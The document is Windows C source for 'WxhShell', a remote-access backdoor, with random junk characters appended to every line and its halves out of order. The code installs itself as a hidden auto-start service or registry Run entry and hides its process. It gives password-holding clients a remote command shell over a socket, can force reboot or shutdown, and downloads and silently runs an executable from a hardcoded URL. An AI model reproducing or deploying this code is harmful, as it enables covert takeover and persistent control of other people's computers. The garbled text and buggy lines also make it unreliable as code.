  // 关机 72<9xNcB!}  
  case 'd': { x5lVb$!G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fy=GU<&AI  
    if(Boot(SHUTDOWN)) 3q]0gU&??  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VE\L&d2S  
    else { m eF7[>!U  
    closesocket(wsh); eD>b|U=/  
    ExitThread(0); +b|F_  
    } @cDB 7w\  
    break; fv;Q*; oC&  
    } Hg#t SE  
  // 获取shell jD S?p)&  
  case 's': { e={O&9Z  
    CmdShell(wsh); aHhLz>H'  
    closesocket(wsh);  ?8>a;0  
    ExitThread(0); =E-x0sr?  
    break; XcJ5KTn  
  } pS?D~0Nb  
  // 退出 (XZ[-M7  
  case 'x': { GBz? $]6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _J,**AZ~z  
    CloseIt(wsh); uo:RNokjJ  
    break; E?w#$HS  
    } &CG94  
  // 离开 R?wZ\y Ks}  
  case 'q': { zEQ]5>mG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?^&ih:"  
    closesocket(wsh); Ac_P^  
    WSACleanup(); -laH^<jm5  
    exit(1); HhbBt'fH  
    break; $(1t~u<17  
        } {v"f){   
  } _}{KS, f]0  
  } (j8*F Bq  
1mFH7A($  
  // 提示信息 '(]Wtx%9"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wv4$Lgr  
} (:iMs) iO{  
  } \mb4leg5  
2[lP,;!  
  return; }?m0bM  
} rZI63S  
g@H<Q('fJ  
// shell模块句柄 @rhS[^1wi+  
int CmdShell(SOCKET sock) 1jC85^1Taq  
{ 5gz^3R|`f  
STARTUPINFO si; Q& [!+s:2J  
ZeroMemory(&si,sizeof(si)); H I9/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dl!0Hl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .][yH[ F  
PROCESS_INFORMATION ProcessInfo; W{NWF[l8O?  
char cmdline[]="cmd"; 0akJv^^D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l$u52e!7  
  return 0; '/GB8L  
} tQ }GTqk  
g ~<[;6&{  
// 自身启动模式 1d<?K7%^  
int StartFromService(void) 2a@X-Di  
{ iwnGWGcuS  
typedef struct I Fw7?G,  
{ C|y^{4 |R  
  DWORD ExitStatus; 7w73,r/D8A  
  DWORD PebBaseAddress; e1[ReZW  
  DWORD AffinityMask; -Mo4`bN  
  DWORD BasePriority; |q4=*Xq  
  ULONG UniqueProcessId; g$Tsht(rHD  
  ULONG InheritedFromUniqueProcessId; .-$3I|}X=  
}   PROCESS_BASIC_INFORMATION; cqU6 Y*n  
/)K')  
PROCNTQSIP NtQueryInformationProcess; lBP?7`U  
SFg4}*"C/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TG=A]--_a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Qyc!s`  
N[@~q~v  
  HANDLE             hProcess; *)[fGxz \  
  PROCESS_BASIC_INFORMATION pbi; bU gg2iFS  
w5Fk#zJv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5c5!\g~'  
  if(NULL == hInst ) return 0; ;(K/O?nrJ  
\J:+Wl.9A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k4#j l<R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8wWp+Hk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g9C-!X-<T  
- ~z@W3\  
  if (!NtQueryInformationProcess) return 0; T4x%3-4 ;  
.XgY&5Qk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^E%R5JN  
  if(!hProcess) return 0; -#%M,Qb  
z ,;XWv?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hw"2'{"II  
/5 z+N(RFC  
  CloseHandle(hProcess); GUL~k@:_k  
WD4"ft  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :r{-:   
if(hProcess==NULL) return 0; zd$'8/Cq  
8 n[(\f:  
HMODULE hMod; 2dz)rjd O,  
char procName[255]; +.djC3^:  
unsigned long cbNeeded; wQW` Er3w  
.i\ FK@2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;)ay uS sQ  
) `{jPK*`  
  CloseHandle(hProcess); /yU#UZ4;  
Z +/3rd  
if(strstr(procName,"services")) return 1; // 以服务启动 c RI2$|  
4+8)0;<H  
  return 0; // 注册表启动 o2|#_tGNUy  
} nZiwR4kM  
T6y~iNd<  
// 主模块 kRggVRM  
int StartWxhshell(LPSTR lpCmdLine) *L?~  
{ cvw17j  
  SOCKET wsl; &NF$_*\E  
BOOL val=TRUE; z*HM_u  
  int port=0; )4fQ~)  
  struct sockaddr_in door; (tO4UI5!  
&SIf|IX.  
  if(wscfg.ws_autoins) Install(); e!Z}aOeE  
M_0f{  
port=atoi(lpCmdLine); (KO]>!t  
-75mgOj.#  
if(port<=0) port=wscfg.ws_port; <Hv/1:k}  
b\^DQZmth  
  WSADATA data; RH,x);J|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -[!t=qi  
2KO`+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FVNTE +LW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S/Ic=  
  door.sin_family = AF_INET; lDBAei3iB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YuuTLX%3  
  door.sin_port = htons(port); ^coCsV^CW"  
7 cV G?Wr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /nv*OKS|  
closesocket(wsl); UDZ0ne0-  
return 1; 0fj C>AS  
} o w(9dB&E  
wMgF*  
  if(listen(wsl,2) == INVALID_SOCKET) { RKrNmD*rk*  
closesocket(wsl); zWPX  
return 1; DhxS@/  
} `JV(ae0  
  Wxhshell(wsl); FzOWM7+\  
  WSACleanup(); ;E{jn4B'  
7Z9'Y?[m  
return 0; yC ?p,Ci,  
 G>?kskm  
} V~jp  
, XscO7  
// 以NT服务方式启动 N, u]2,E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {oOUIP  
{ $+2QbEk&-  
DWORD   status = 0; >/RFff]Fh0  
  DWORD   specificError = 0xfffffff; E el*P M  
M8:i]   
  serviceStatus.dwServiceType     = SERVICE_WIN32; D,*|:i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [$K8y&\L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zT}vaU 6  
  serviceStatus.dwWin32ExitCode     = 0; h#Rza-?"\  
  serviceStatus.dwServiceSpecificExitCode = 0; hrJ(][8  
  serviceStatus.dwCheckPoint       = 0; Yt=)=n  
  serviceStatus.dwWaitHint       = 0; Bi9Q8#lh  
]Vj($O:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @=z.^I30  
  if (hServiceStatusHandle==0) return; wIAH,3!  
!m))Yp-"H  
status = GetLastError(); N,B!D~@  
  if (status!=NO_ERROR) b IxH0=f  
{ {o^tSEN!-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bD/ZKvg  
    serviceStatus.dwCheckPoint       = 0; # B <%  
    serviceStatus.dwWaitHint       = 0; -Sh&x  
    serviceStatus.dwWin32ExitCode     = status; 2\&3x} @  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6jm?d"9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2aR9vmR  
    return; 67/\0mV:~  
  } xC5Pv">  
(!b)<V*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !\VEUF,K?  
  serviceStatus.dwCheckPoint       = 0; s% rmfIp"  
  serviceStatus.dwWaitHint       = 0; MrUjqv6a[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =!DX,S7  
} [So1`IA6  
n>,GmCo  
// 处理NT服务事件,比如:启动、停止 m<#^c?u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) atd;)o0*0  
{ ,j{tGj_  
switch(fdwControl) EF$ASNh"  
{ Q3hSWXq'  
case SERVICE_CONTROL_STOP: 6d5J*y2  
  serviceStatus.dwWin32ExitCode = 0; 2::YR?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +qpG$#J0  
  serviceStatus.dwCheckPoint   = 0; J9;fqQCt  
  serviceStatus.dwWaitHint     = 0; du'`&{_/  
  { ' A+L #  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PPy~dp  
  }  %nUN  
  return; y5*zyd  
case SERVICE_CONTROL_PAUSE: ]8"U)fzmc.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }'}n~cA.{  
  break; %${$P+a`D  
case SERVICE_CONTROL_CONTINUE: /Q)I5sL@E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `<~=6H  
  break; ~}{_/8'5  
case SERVICE_CONTROL_INTERROGATE: PP\ bDEPy  
  break; -Op^3WWyY  
}; jPo,mz&^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zp:QcL"  
} >}+R+''nR  
:81d~f7  
// 标准应用程序主函数 {A< 961  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h|PC?@jp  
{ cR!M{U.q  
Hn(Eut7%  
// 获取操作系统版本 #Vmf 6  
OsIsNt=GetOsVer(); V'RbTFb9Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mrsmul{  
}pf|GdL  
  // 从命令行安装 pl[@U<8aw  
  if(strpbrk(lpCmdLine,"iI")) Install(); y]PuY \+  
J,?F+Qji&=  
  // 下载执行文件 U8NX%*oW  
if(wscfg.ws_downexe) { )HI\T];  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m3o -p   
  WinExec(wscfg.ws_filenam,SW_HIDE); ;!VxmZ:j[  
} |.m)UFV  
S:i# |T."  
if(!OsIsNt) { CLmo%"\ s  
// 如果时win9x,隐藏进程并且设置为注册表启动 a}FY^4hl+  
HideProc(); 4 X/UyBk  
StartWxhshell(lpCmdLine); !&b| [b  
} p/nATvh$  
else o o'7  
  if(StartFromService()) |/xx**?  
  // 以服务方式启动 uh.;Jj;  
  StartServiceCtrlDispatcher(DispatchTable); ia_@fQ  
else ,W[J@4.  
  // 普通方式启动 ?B e}{Qqlg  
  StartWxhshell(lpCmdLine); aaKf4}  
7q;`~tbC  
return 0; A/:_uqm4  
} EAXl.Y. $  
ZCZ@ZN  
^ Lc\{,m  
_[E+D0A  
=========================================== 1|w@f&W"  
k]$oir  
P%Vq#5  
a:l-cZ/!  
YU8]W%  
;/Z-|+!IJt  
" 0,m]W)  
"@hd\w{.  
#include <stdio.h> #\=7A  
#include <string.h> _A!Fp0}`  
#include <windows.h> "9c=kqkX  
#include <winsock2.h> b+:J?MR;}  
#include <winsvc.h> .QKyB>s  
#include <urlmon.h> w< Xwz`O  
JttDRNZAU  
#pragma comment (lib, "Ws2_32.lib") [PUu9rz#  
#pragma comment (lib, "urlmon.lib") lqMr@ :t  
6i+,/vr  
#define MAX_USER   100 // 最大客户端连接数 -3) jUzD  
#define BUF_SOCK   200 // sock buffer [|c%<|d2  
#define KEY_BUFF   255 // 输入 buffer j-R*!i  
y2jw3R  
#define REBOOT     0   // 重启  3TCRCz  
#define SHUTDOWN   1   // 关机 Ic_NQ<8  
>l AtfN='  
#define DEF_PORT   5000 // 监听端口 w$9LcN  
<,GVrVH=t"  
#define REG_LEN     16   // 注册表键长度 3Ji$igL  
#define SVC_LEN     80   // NT服务名长度 g6lWc@]F  
AnX<\7bc}  
// 从dll定义API QM 3DB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z#o''  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y2 J-`o$5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m#8 PX$_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^5Lk}<utw  
51y"#\7  
// wxhshell配置信息 <nqv)g"u0  
struct WSCFG { mrnPZf i  
  int ws_port;         // 监听端口 1F5KDWtE  
  char ws_passstr[REG_LEN]; // 口令 [H <TcT8  
  int ws_autoins;       // 安装标记, 1=yes 0=no /QyKXg6)l  
  char ws_regname[REG_LEN]; // 注册表键名 G'G8`1Nj  
  char ws_svcname[REG_LEN]; // 服务名 0stc$~~v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HrsG^x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #L+:MA7H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h,m 90Hd+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r <5}& B`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1VM2CgRa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9!uiQ  
kq5X<'MM9N  
}; P* `*^r3  
1,;X4/*  
// default Wxhshell configuration p+V#86(3  
struct WSCFG wscfg={DEF_PORT, J,CwC)  
    "xuhuanlingzhe", \|{/.R  
    1, S$Zi{bU`G  
    "Wxhshell", \*e\MOp6  
    "Wxhshell", BXYH&2]Q  
            "WxhShell Service", Wj(#!\ 7F  
    "Wrsky Windows CmdShell Service", 9|}Pf_5]%[  
    "Please Input Your Password: ", }/ vW"&h-  
  1, Yjjh}R#  
  "http://www.wrsky.com/wxhshell.exe", <R@,wzK  
  "Wxhshell.exe" kc^,V|Nbq6  
    }; @pYEzizP7  
iI IXv  
// 消息定义模块 'v V7@@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sg^|dS{3D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w(6n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <8^x Mjc  
char *msg_ws_ext="\n\rExit."; k[ro[E  
char *msg_ws_end="\n\rQuit."; ,.W7Z~z  
char *msg_ws_boot="\n\rReboot..."; .M^[/!  
char *msg_ws_poff="\n\rShutdown..."; tWIJ,_8l  
char *msg_ws_down="\n\rSave to "; yzhNl' Rz  
DpgTm&}-  
char *msg_ws_err="\n\rErr!"; _&#{cCo:  
char *msg_ws_ok="\n\rOK!"; R03 Te gwA  
G7nhUg  
char ExeFile[MAX_PATH]; [ncK+rGAc  
int nUser = 0; qy3@> 1G  
HANDLE handles[MAX_USER]; rtj`FH??11  
int OsIsNt; \]u;NbC]  
(*9.GyK  
SERVICE_STATUS       serviceStatus; rR#Ditn^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U;MXiE3D  
er UYR"  
// 函数声明 |R0f--;  
int Install(void); lQ;BI~  
int Uninstall(void); Q- |Y  
int DownloadFile(char *sURL, SOCKET wsh); s;Gd`-S>d  
int Boot(int flag); ">oySo.B?  
void HideProc(void); 3O/#^~\'hW  
int GetOsVer(void); l&qnqmW<  
int Wxhshell(SOCKET wsl); y'K2#Y~1e  
void TalkWithClient(void *cs); Z]]Ur  
int CmdShell(SOCKET sock); !,m  
int StartFromService(void); gQ>kDl^$Ls  
int StartWxhshell(LPSTR lpCmdLine); HYfGu1j?X  
 m[B#k$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @vt.Db  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9RJF  
h)HEexyRg  
// 数据结构和表定义 Kgu8E:nL  
SERVICE_TABLE_ENTRY DispatchTable[] = I x%>aee  
{ kUf i  
{wscfg.ws_svcname, NTServiceMain}, (aa2uctTn  
{NULL, NULL} {rUg,y{v  
}; eluN~T:W  
@&ZQDi  
// 自我安装 yWi-ic [n  
int Install(void) DW. w=L|5R  
{ RSp wU;o6z  
  char svExeFile[MAX_PATH]; .$18%jH#  
  HKEY key; $8=|<vt  
  strcpy(svExeFile,ExeFile); } a9Ah:.7/  
R c+olJ^5  
// 如果是win9x系统,修改注册表设为自启动 T- en|.  
if(!OsIsNt) { ^viabkf C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _p-e)J$7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &J>e; X  
  RegCloseKey(key); N*o{BboK;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !!y]pMjJa@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t}YcB`q)  
  RegCloseKey(key); ?*fY$93O  
  return 0; vk92j?  
    } b6N[t _,  
  } p{g4`o  
} ??,[-Oi  
else { }Kp!,  
f+h\RE=BGt  
// 如果是NT以上系统,安装为系统服务 ,CfslhO{j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -]Z7^  
if (schSCManager!=0) r/j:A#6M]o  
{ bv[#|^/  
  SC_HANDLE schService = CreateService 9n& &`r  
  ( ?b;2 PH"  
  schSCManager, $Nu{c;7"  
  wscfg.ws_svcname, F8f}PV]b  
  wscfg.ws_svcdisp, .[Sis<A]%  
  SERVICE_ALL_ACCESS, 1M]=Nv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ubcB <=xb  
  SERVICE_AUTO_START, g+ c*VmY  
  SERVICE_ERROR_NORMAL, ^65I,Z"  
  svExeFile, O3} JOv_  
  NULL, EwC]%BZP  
  NULL, x b,XI/  
  NULL, k]~o=MLmj  
  NULL, } oPO`  
  NULL K^u,B3  
  ); V`Cy x^P  
  if (schService!=0) tbFAVGcAM  
  { iW5cEI%tb  
  CloseServiceHandle(schService); q/#e6;x  
  CloseServiceHandle(schSCManager); ]r Uj<[O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @J[@Pu O  
  strcat(svExeFile,wscfg.ws_svcname); :@((' X(".  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gP2zDI   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tT}b_r7h(1  
  RegCloseKey(key); jn<?,UABD  
  return 0; uX_H;,n  
    } o(*\MT t?  
  } `6Bx8CZ'I  
  CloseServiceHandle(schSCManager); x4MmBVqp  
} 5h5izA'0'  
} v e&d"8+]  
7>N~l  
return 1; |P >"a`  
} 'f5 8Jwql  
!eW1d0n'+f  
// 自我卸载 K:,V>DL  
int Uninstall(void) xfYKUOp/  
{ Qs&;MW4q  
  HKEY key; G4* LO  
m\&|#yq  
if(!OsIsNt) { a-{|/ n%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `i.BB jx`  
  RegDeleteValue(key,wscfg.ws_regname); ,mHME~  
  RegCloseKey(key); Y^fw37b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ruQx)5M  
  RegDeleteValue(key,wscfg.ws_regname); Aa ~W,  
  RegCloseKey(key); (95|DCL  
  return 0; # T=iS(i  
  } Tagf7tw4  
} 'C]w3Rh'  
} xl&@g)Jj  
else { EXDDUqZ5\  
L&pR#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CX|W$b)%  
if (schSCManager!=0) 1oQw)X  
{ /<rvaR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J"`VA_[  
  if (schService!=0) @<\oM]jX  
  { bMO^}qR`  
  if(DeleteService(schService)!=0) { gv*b`cl  
  CloseServiceHandle(schService); OoB|Eh|),  
  CloseServiceHandle(schSCManager); eZ'8JU]  
  return 0; L'+bVP{L  
  } ] ZV[}7I.  
  CloseServiceHandle(schService); [`n_> p!  
  } =U]9>  
  CloseServiceHandle(schSCManager); OX_y"]utU  
} +_5*4>MC  
} LV:L0D7y  
R(1:I@<?E  
return 1; hA7=:LG  
} ;ku>_sG-  
5YY5t^T  
// 从指定url下载文件 Z& _kq|  
int DownloadFile(char *sURL, SOCKET wsh) x[0T$  
{ nWd!ovd  
  HRESULT hr; htBA.eQ  
char seps[]= "/"; dyQ7@K.E  
char *token; jPWONz(#  
char *file; &*`dRIQ]  
char myURL[MAX_PATH]; GwX)~.i  
char myFILE[MAX_PATH]; C QkY6  
V(';2[)  
strcpy(myURL,sURL); m Q2i$ 0u  
  token=strtok(myURL,seps); <V?2;Gy  
  while(token!=NULL) _2fW/U54_  
  { ..N6]u  
    file=token; iLy^U*yK  
  token=strtok(NULL,seps); s= Fp[>qA  
  } F 9%_@n  
`B %%2p&  
GetCurrentDirectory(MAX_PATH,myFILE); v;,W ^#`  
strcat(myFILE, "\\"); F2N"aQ&  
strcat(myFILE, file); "n%j2"TYJj  
  send(wsh,myFILE,strlen(myFILE),0);  u r$  
send(wsh,"...",3,0); x@NfN*?/+i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7-744wV}Z  
  if(hr==S_OK) (\6E.Z#  
return 0; K9N31'  
else _^iY;&  
return 1; *!QmYH5r0  
Z(MZbzY7Hq  
} 1eI*.pt  
j.=:S;  
// 系统电源模块 9Yt|Wj  
int Boot(int flag) '2lV(>"  
{ pDS[ecx  
  HANDLE hToken; 2yfU]`qN  
  TOKEN_PRIVILEGES tkp; lNX*s E .  
MJ}{Q1|*  
  if(OsIsNt) { FL mD?nw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); " MnWd BS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }&0LoW/  
    tkp.PrivilegeCount = 1; RY;V@\pRY+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &y? |$p\;/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :8yebOs   
if(flag==REBOOT) { IdmP!(u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ![z2]L+TB  
  return 0; R27'00(Z0  
} `l|Oj$  
else { oCT,v0+4O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e$9a9twl  
  return 0; L^qCE-[  
} ,^9+G"H:I  
  } P zJ(Q  
  else { qiz(k:\o  
if(flag==REBOOT) { K|%Am4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^G!cv  
  return 0; mV}bQ^*?Z  
} Uu7]`Ul  
else { RP~nLh3=\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gC$_yd6m L  
  return 0; @qNY"c%HV  
} 3@~a)E}T  
} c7CYulm  
.gO|=E"  
return 1; J!Z6$VERy  
} F_079~bJ  
=z. hJu  
// win9x进程隐藏模块 aE0R{yupZ  
void HideProc(void) m* 3ipI{h  
{ ? dJd7+A  
%bw+>:Tr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g4+K"Q /M  
  if ( hKernel != NULL ) An_(L*Qz  
  { `:&RB4Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N8 2 6xvA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lf"w/pb'  
    FreeLibrary(hKernel); EjfQF C  
  } EV6R[2kl  
b ri[&=  
return; i*$+>3Q-  
} &4OOW;,?<  
L } R"1O  
// 获取操作系统版本 GvtK=A$b  
int GetOsVer(void) `,AOxJ:$  
{ '{WEyhaS  
  OSVERSIONINFO winfo; JWHsTnB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); & %/p; ::A  
  GetVersionEx(&winfo); K~#?Y,}O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e6p3!)@P1  
  return 1; 7 7bwYKIn  
  else faOiNR7;h  
  return 0; dEYw_qJ2  
} O.jm{x!m  
H!Gw@u]E  
// 客户端句柄模块 ;MeY@* "{  
int Wxhshell(SOCKET wsl) g#(+:^3'  
{ '/`O*KD]  
  SOCKET wsh; =mLp g4  
  struct sockaddr_in client; 5QqU.9M  
  DWORD myID; ;?q(8^A  
YWU@e[  
  while(nUser<MAX_USER) ]#NfH-T  
{ k2eKs*WLC  
  int nSize=sizeof(client); 'A|c\sy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KKpM=MZ  
  if(wsh==INVALID_SOCKET) return 1; qG,h 1  
z uNm !$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kb 74:  
if(handles[nUser]==0) 7=G6ao7  
  closesocket(wsh); |6^a[x3/U  
else Xr^ 5Th\  
  nUser++; rhLhFN{h  
  } @(L}:]{@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 25Ee+&&%  
rOOo42Y W`  
  return 0; ]]y>d!  
} 1tTP;C l#  
Foq3==*p  
// 关闭 socket `XF[A8@h  
void CloseIt(SOCKET wsh) XR",.3LD  
{ Pfs_tu  
closesocket(wsh); ,R=!ts[qi  
nUser--; -W6@[5c  
ExitThread(0); sDs.da#*2  
} Sm[#L`eqW  
hqeknTGsIn  
// 客户端请求句柄 +6>2= ,?Z  
void TalkWithClient(void *cs) r1F5'?NZ(0  
{ G\tN(%.f  
Pz*BuL <  
  SOCKET wsh=(SOCKET)cs; >!Gq[i0  
  char pwd[SVC_LEN]; : F3UJ[V  
  char cmd[KEY_BUFF]; kYCm5g3u  
char chr[1]; V=fu[#<@Ig  
int i,j; %@%rdrZ  
Q.9,W=<6  
  while (nUser < MAX_USER) { L+ew/I>:  
q5Zu'-Cx@  
if(wscfg.ws_passstr) { 6Z1O:Bou  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `yq) y>_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pS-o*!\C.  
  //ZeroMemory(pwd,KEY_BUFF); r;b`@ .  
      i=0; Y->sJm  
  while(i<SVC_LEN) { )0I -N)  
+|;Ri68  
  // 设置超时 G8]{pbX  
  fd_set FdRead; !^Ay !  
  struct timeval TimeOut; oeKl\cgFx  
  FD_ZERO(&FdRead); sRLjKi2D  
  FD_SET(wsh,&FdRead); lq-F*r\/~+  
  TimeOut.tv_sec=8; o[wiQ9Tl  
  TimeOut.tv_usec=0; SeZ+&d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ho}*Bn~ic  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1\Bh-tzB  
}^H(EHE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Bq;Vb  
  pwd=chr[0]; d$ o m\@  
  if(chr[0]==0xd || chr[0]==0xa) { !!A(A^s  
  pwd=0; iLQO .'{U  
  break; dH0>lV  
  } )/f#~$ws  
  i++; W|{!0w  
    } f-^*p  
Uf_mwEE  
  // 如果是非法用户,关闭 socket 7#"y mE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z}zka<y6K6  
} D]d! lMK/  
B^M L}$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R4)l4rnO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6`7`herE}  
_ \+0e:Ae  
while(1) { ?mV2|;  
OWfB8*4@  
  ZeroMemory(cmd,KEY_BUFF); Te!eM{_$T  
9(X~  
      // 自动支持客户端 telnet标准   !<h9XccN  
  j=0; L})fYVX  
  while(j<KEY_BUFF) { G,6`:l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |CQjgI|;  
  cmd[j]=chr[0]; +R$;LtR  
  if(chr[0]==0xa || chr[0]==0xd) { .FYRi_Zd  
  cmd[j]=0; Ts, U T L  
  break; 0n X5Vo  
  } 6qV1_M#  
  j++; ~K)FuL[*  
    } f7 ew<c\  
'M?pg$ta_V  
  // 下载文件 U4a8z<l$  
  if(strstr(cmd,"http://")) { FME,W&_d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MC-Z6l2  
  if(DownloadFile(cmd,wsh)) {>64-bU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5y='1s[%  
